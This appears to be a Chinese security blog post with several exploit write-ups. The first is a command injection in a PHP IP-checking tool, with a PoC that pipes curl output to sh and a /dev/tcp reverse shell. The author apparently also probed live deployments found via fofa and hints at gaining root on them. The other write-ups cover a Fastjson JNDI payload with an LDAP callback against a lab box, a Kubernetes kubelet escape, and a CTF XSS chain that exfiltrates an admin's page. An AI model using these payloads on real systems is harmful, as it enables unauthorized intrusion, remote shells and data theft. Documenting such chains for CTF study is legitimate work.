IP可用性检测
vps的ssh老是连不上,怀疑被墙,拿个网页工具检测一下。一看是php,怎么想都是命令拼接啊。顺着渲染的东西去GitHub搜了一圈,还真找到了源码,那么就有了这个:https://github.com/hellocccat/jianchaipshifouzuduan/issues/1
他的README里特意有个备注:已知问题在Linux下 socket 检测 icmp,会没有权限.现只能用 exec() 函数
审计
代码 66-74 行如下:
if ($socket == false) { //在linux下socket icmp无法被创建 所以用exec来测试 $i = @exec("ping $host -c 1"); if (empty($i)) { return 'Close'; } return 'Open';
}在常规部署环境中,$socket == false几乎始终成立,因此会进入exec分支。
而正则使用 !preg_match('/(&|\s|;|-)/', $ip) ,未过滤 $() 符号导致存在命令注入,通过 ${IFS} 可绕过空格限制。
PoC
在可控VPS上部署/d,内容为反弹Shell脚本,比如/bin/sh -i >& /dev/tcp/1.1.1.1/8888 0>&1,开启HTTP服务器 和 Shell接收端。
POST /check.php HTTP/1.1...
ip=$(curl${IFS}http://1.1.1.1:8888/d|sh)&port=80这个场景下,反而是用非root权限执行的php存在漏洞,如果是root权限,socket能正常拿到,跳过了exec。fofa上搜了一圈,确实有部分不那么规范的机器是用Root权限,逃过一劫hhh。而且这个一搜还都是一对,因为需要有国内/国外两个节点。

Copyfail一下,基本上都能拿到root。
Post?

学长开的靶机,群里一发都过来玩玩hh。
RCE
Spring(Shiro) + Thymeleaf,黑盒。不过试了很久的SSTI都没成功。Shiro也不是弱密码。突然发现发帖的请求是json,考虑fastjson低版本jdni。
POST /create HTTP/1.1Host: 8.130.80.176:8080Content-Type: application/jsonAccept: */*Cookie: JSESSIONID=13BB1D9E8F0336049CD44E4A91B1EEA3Content-Length: 27
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://120.26.146.96:1389/vkikby", "autoCommit": true}
诶,通了。不过shell咋弹不过来啊qwq。最后是上了个Sliver…大炮打鸟。不过也是有用的,后面要k8s逃逸。
k8s escape
https://172.17.0.1:10250 apiserver 未鉴权啊,思路是创建pod,加载特权容器挂载,改ssh上线。

不过镜像拉不下来啊!Debian10,根证书都过期了,阿里云的镜像也连不上🍃🍃🍃
就这样吧,这几篇文章感觉不错:
K8s下的未授权及利用 https://stack.chaitin.com/techblog/detail/292
K8s API Server未授权利用思路 https://cloud.tencent.com/developer/article/2415720DEFCON-Bird Blog
题目拿Discord上的脚本跑了一下,本地确实能通。Codex分析的流程是这样的:
- 向某篇文章提交一条恶意评论。
- 管理员 bot 在后台打开评论详情页 /comments/
/view。 评论内容经过 markdown 渲染后,触发图片 onerror 执行我们注入的 JavaScript。 - 恶意 JS 伪造管理员请求,向 http://localhost:8081/configure 提交新的博客配置。
- 新配置里的 categories 会被拼进 Handlebars 模板,最终影响 categories.sql 的生成。
- 通过模板注入,把 PostgreSQL 里的 secret_key 混到首页返回的 JSON/HTML 里。
- 恶意 JS 再读取首页 / 的响应文本,把 secret_key 外带给攻击者。
- 用拿到的 secret_key 请求 flag 服务,获得 flag。
有点高级,不过还是能看一点的。原理上就是XSS,只不过有些比较苛刻的过滤。
content = content.replace(/!\[([^\]]*)\]\((https?:\/\/[a-zA-Z0-9.-]+(?::\d+)?\/[^)]+)\)/g, (match, alt, url) => { try { const parsedUrl = new URL(url); return `<img src="${parsedUrl.href}" alt="${alt}">`; } catch { return match; }});这里其实漏洞很明显,src被parsedUrl.href了,但是alt却没做任何处理。XSS肯定发生在alt文本里。
<div class="content">{{markdown this.content}}</div>这里又直接放上去了,也没做转义,所以XSS是肯定能利用的。这题也没做什么特别严格的CORS,XSS了adminbot就可以了。
这里的XSS方式如下:
](http://h/onerror=self.onerror=eval;throw/**/alt//)这个最终会被渲染成:
<img src="http://src.invalid/a" alt="=${XSS_SCRIPT}//<a href="http://h/onerror=self.onerror=eval;throw/**/alt//">x</a>">可以一步一步来看一下,首先外层先被替成 <img ... alt="...">,
这里的alt是=${XSS_SCRIPT}//[x](http://src.invalid/a),src是http://h/onerror=self.onerror=eval;throw/**/alt//,这个时候Payload变成了:
<img src="http://h/onerror=self.onerror=eval;throw/**/alt//" alt="=${XSS_SCRIPT}//[x](http://src.invalid/a)">注意到,alt里还有一个符合要求的图片引用([x](http://src.invalid/a)),那么就会进一步解析为<a href="http://src.invalid/a">x</a>,那么最终结果就会是:
<img src="http://h/onerror=self.onerror=eval;throw/**/alt//" alt="=${XSS_SCRIPT}//<a href="http://src.invalid/a">x</a>">然而需要注意的是${XSS_SCRIPT}完全可控,可以是任意字符,意味着随便来个双引号就能破坏闭合,而后面又是//注释符,因此就形成了任意Payload的XSS。
此外复现的时候在问codex,发现Codex app也有二次解析的问题啊。Codex桌面端是Electron,在XSS方面也很脆弱,难道说…?这个稍后研究。
接着是要看/configure路由,因为需要adminbot修改配置文件泄露secret_key
MERGE INTO categoriesUSING (VALUES{{#each categories}} ({{{ sqlString (slugify name) }}}, {{{ sqlString name }}}){{#unless @last}},{{/unless}}{{/each}}) AS desired (slug, name) ...这里的sqlString是这样过滤的:
cur.replace(options.remove ?? /[^\w\s$*_+~.()'"!\-:@]+/g, "")这里用的是Unicode绕过。
const punctuationMap = { "\\": "⳹", "'": "ʺ", "(": "⸨", ")": "⸩", ".": "࠲", ":": "࠴", "|": "‖", "{": "⧚", "}": "⧛", "[": "⎶", "]": "ʭ", "+": "‡", "=": "≅", "<": "«", ">": "»", "@": "᭾", "!": "‼", "?": "‽", "*": "ᕯ", "`": "˵", "~": "῁",};卧槽太高级了。这个是真可以用上。
XSS的Payload是这个:
const js = `(async()=>{c=String.fromCharCode;p=String.fromCodePoint;u=(...a)=>c(...a);l=Reflect.get(self,${u("location")});if(l.hostname!==${u("localhost")}){l.href=${u("http://localhost:8080")}+l.pathname;return}document.cookie=${u("_csrf=x; Path=/configure; SameSite=Lax")};b=new URLSearchParams;b.append(${u("csrfToken")},${u("s;b9cc050815a801453cedfac2053ecbcf8b89b2bde28ec9768ad6a5d6c1844834")});b.append(${u("title")},${u("x")});b.append(${u("theme")},${u("raven")});b.append(${u("categories")},${p(categories)});b.append(${u("inNavPosts")},u());await fetch(${u("http://localhost:8081/configure")},{method:${u("POST")},mode:${u("no-cors")},credentials:${u("include")},body:b});r=await fetch(${u("/")});t=await r.text();await fetch(${u(exfilUrl)},{method:${u("POST")},mode:${u("no-cors")},body:t})})()`;
const comment = `](http://h/onerror=self.onerror=eval;throw/**/alt//)`;这一大坨实际上就是在获取csrf token然后发一个:
await fetch("http://localhost:8081/configure", { method: "POST", mode: "no-cors", credentials: "include", body });主要难点还是在XSS上。二次解析有点意思啊,如果是这样的话,那些基于递归解析的markdown渲染器估计都会出现问题。每解析一次都可能插入一些东西破坏掉原有结构,那是不是可以无限套娃..?利用alt来绕过常规的过滤。
不对,想了一下这题还是有局限性的。这个源码似乎就是为了二次解析而设计,看它那两个不同的正则replace就有点感觉…不过第一次看真的想不到这么多。
DEFCON-Waybird-Machine
认证401会触发重试,本地FakeFTP服务器,归档文件被当作 TDS 载荷
这个好高级,是FTP协议上的东西了。本地复现成功,但是我不理解。我去根本看不懂啊..
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









